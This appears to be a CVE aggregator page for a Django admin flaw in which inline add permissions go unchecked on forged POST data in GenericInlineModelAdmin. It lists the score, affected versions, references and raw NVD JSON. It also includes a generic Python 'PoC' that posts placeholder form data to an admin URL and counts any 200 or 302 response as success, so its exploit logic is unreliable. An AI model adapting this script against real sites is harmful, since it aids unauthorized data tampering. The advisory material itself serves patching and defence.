CVE-2026-4277

Description

An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. Add permissions on inline model instances were not validated on submission of forged `POST` data in `GenericInlineModelAdmin`. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank N05ec@LZU-DSLab for reporting this issue.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:* - VULNERABLE

Django 6.0 < 6.0.4

Django 5.2 < 5.2.13

Django 4.2 < 4.2.30

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-4277 PoC Concept
# This script demonstrates bypassing permission checks in GenericInlineModelAdmin

target_url = "http://vulnerable-host/admin/app/parent_model/1/inline_model/add/"

# Forged POST data to exploit the missing permission validation
# Replace 'field_name' and 'value' with actual target model fields
payload = {
    "field_name": "malicious_value",
    "csrfmiddlewaretoken": "bypassed_or_valid_token" # Depends on CSRF config, but permission check is the root flaw
}

headers = {
    "User-Agent": "Mozilla/5.0 (PoC-Scanner)",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(target_url, data=payload, headers=headers, timeout=10)
    
    if response.status_code == 200 or response.status_code == 302:
        print("[+] Exploit successful: Inline model instance likely created.")
    else:
        print(f"[-] Exploit failed, status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4277
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4277
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4277/
[4] VulDB https://vuldb.com/cve/CVE-2026-4277
[5] https://docs.djangoproject.com/en/dev/releases/security/
[6] https://groups.google.com/g/django-announce
[7] https://www.djangoproject.com/weblog/2026/apr/07/security-releases/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4277", "sourceIdentifier": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "published": "2026-04-07T15:17:46.500", "lastModified": "2026-04-13T17:37:29.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30.\nAdd permissions on inline model instances were not validated on submission of\r\nforged `POST` data in `GenericInlineModelAdmin`.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank N05ec@LZU-DSLab for reporting this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2", "versionEndExcluding": "4.2.30", "matchCriteriaId": "C78D8198-229F-45A2-B09D-C1D272878E3E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2", "versionEndExcluding": "5.2.13", "matchCriteriaId": "5ED295FD-7063-40A1-9A3E-C0CC4D6F7BD3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "344A677E-BD67-42F0-9746-5B0D4C53815E"}]}]}], "references": [{"url": "https://docs.djangoproject.com/en/dev/releases/security/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://groups.google.com/g/django-announce", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Release Notes"]}, {"url": "https://www.djangoproject.com/weblog/2026/apr/07/security-releases/", "source": "6a34fbeb-21d4-45e7-8e0a-62b95bc12c92", "tags": ["Patch", "Vendor Advisory"]}]}}